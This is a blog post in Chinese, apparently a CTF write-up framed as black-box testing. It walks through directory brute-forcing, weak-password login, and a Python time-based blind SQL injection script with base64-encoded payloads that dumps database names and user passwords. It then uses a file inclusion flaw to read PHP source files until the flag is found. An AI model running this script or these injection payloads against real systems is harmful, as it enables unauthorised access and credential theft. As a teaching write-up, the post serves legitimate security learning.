某平台一道ctf题

某平台一道ctf题

说是ctf题,其实还是更倾向于黑盒渗透的思路

信息收集

打开页面只有一个孤零零的403,只爆破出了info.php,phpinfo内容,以及存在/static和/user目录

这里没其他思路,继续爆后台了,这里一开始拿我所有的字典都没爆破出来,又找了好几个,干出来一个Login.php

发现是一个登陆页面,因为用户名输入正确时会返回密码错误,用户名输入错误时会返回无此用户,在这里测试了很久布尔盲注,以及其他各类注入发现还是不行

又一直爆破,发现有test/test123的弱口令问题,这里有一个小坑,我的火狐在登陆成功后不会跳转,抓包看了下来源登陆页面,或者chrome就不会有这个问题

登陆

sql注入

测试各个点,最终,手动输入参数aid=3

转到

在这里发现id进行了base64,这里还是比较可疑,通过不断地测试最终发现id可以进行时间盲注,这里坑点是一开始编写exp,没带入cookie导致一直无法注出内容

编写exp

# coding:utf-8
import requests
import datetime
import time
import base64
cookie = {
'PHPSESSID':'8qc5nhbrbtghgj6ck7f4c4gje1'
}
name = ''
for j in range(1, 30):
    for i in range(1,128):
        url = 'http://121.37.189.111:8005/user/Article.php?aid=3&id='
        #payload = "1 and if(substr(database(),{},1)='{}',sleep(3),1)#".format(j, i)  #level2
        #payload = "1 and if(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'level2'),{},1)='{}',sleep(3),1)#".format(j,i)  #article,user
        #payload = "1 and if(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = 'user'),{},1)='{}',sleep(3),1)#".format(j,i) #id,uid,text,title,s    id,username,password
        payload = "1 and if(substr((select group_concat(password) from user),{},1)='{}',sleep(3),1)#".format(j,chr(i))      #admin,test,wanglin,      
        print(payload)
        payload = payload.encode()
        payload = base64.b64encode(payload)
        payload = str(payload,'utf-8')
        print(url+payload)
        time1 = datetime.datetime.now()
        r = requests.get(url + payload,cookies=cookie)
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec > 3:
            name += chr(i)
            print(name)
            break
    print('name:', name)


爆出最终密码,此处省略

登陆

查看源码发现此处读取图片的地方很可能会有文件包含漏洞

文件包含

确实存在文件包含,利用此漏洞先读取此文件Home.php源代码

//Home.php
<?php
error_reporting(0);
require_once("../static/header.html");
require_once("Base.php");

$user = isUser();
if($user=="user"){
    echo "<h2>hello ".$_SESSION['username']."</h2><br>";
    echo "我没有secret,但我有一颗...的心=。=";
    echo "<br>我的记录:<br>";
}else if($user=="admin"){
    echo "hello ".$_SESSION['adminname'];
    echo "<br>我有个secret,是我最珍视的宝物,我就把它藏在附近!";
    echo "<img src=Read.php?filename=1605259009017.jpg width='50' height='50'>";
    echo "<br>我的记录:<br>";
}

require_once("Article.php");
?>

发现包含了Base.php,继续读取

//Base.php
<?php

function isUser()
{
    session_start();
    //判断用户是否登陆
    if ($_SESSION['adminname'] != "") {
        return "admin";
    }else if($_SESSION['username'] != ""){
        return "user";
    }else {
        header('content-type:text/html;charset=uft-8');
        header('location:../Login.php');
        exit();
    }
}


//关于邀请码:
#include("meifahufujiulaimingdu.php");

发现hint,包含了meifahufujiulaimingdu.php继续读

//meifahufujiulaimingdu.php
<?php
 #关于邀请码,嗯,一目了然。
require_once("Base.php");
error_reporting(0);
//$user = isUser();

 $url = "http://172.17.0.1:3000/code";
 $email = "";

function send_post( $url , $post_data ) {

    $postdata = http_build_query( $post_data );
    $options = array (
        'http' => array (
            'method' => 'POST' ,
            'header' => 'Content-type:application/x-www-form-urlencoded' ,
            'content' => $postdata ,
            'timeout' => 15 * 60
        )
    );
    $context = stream_context_create( $options );
    $result = file_get_contents ( $url , false, $context );

    return $result ;
}

$post_data = array (
    'e' => $_POST['email']
);
echo send_post( $url , $post_data );


#ps:建团?什么建团?  啊,哦,那个啊,我记得小姐把它扔到static下面去了,有心的话,去那儿找找吧。

代码审计

这里file_get_contents本来应该可以读/code目录下的内容,但是访问没有,应该是扒了道题下来,没有删。看hint扔到static下面,正好记得之前有static目录,测试发现PHP文件得到flag

总结

黑盒测试与ctf不同的就是,其实实际难度可能不大(技术侧面),本题也无waf,直接时间盲注即可。

posted @ 2021-01-13 22:29  kar3a  阅读(209)  评论(1编辑  收藏  举报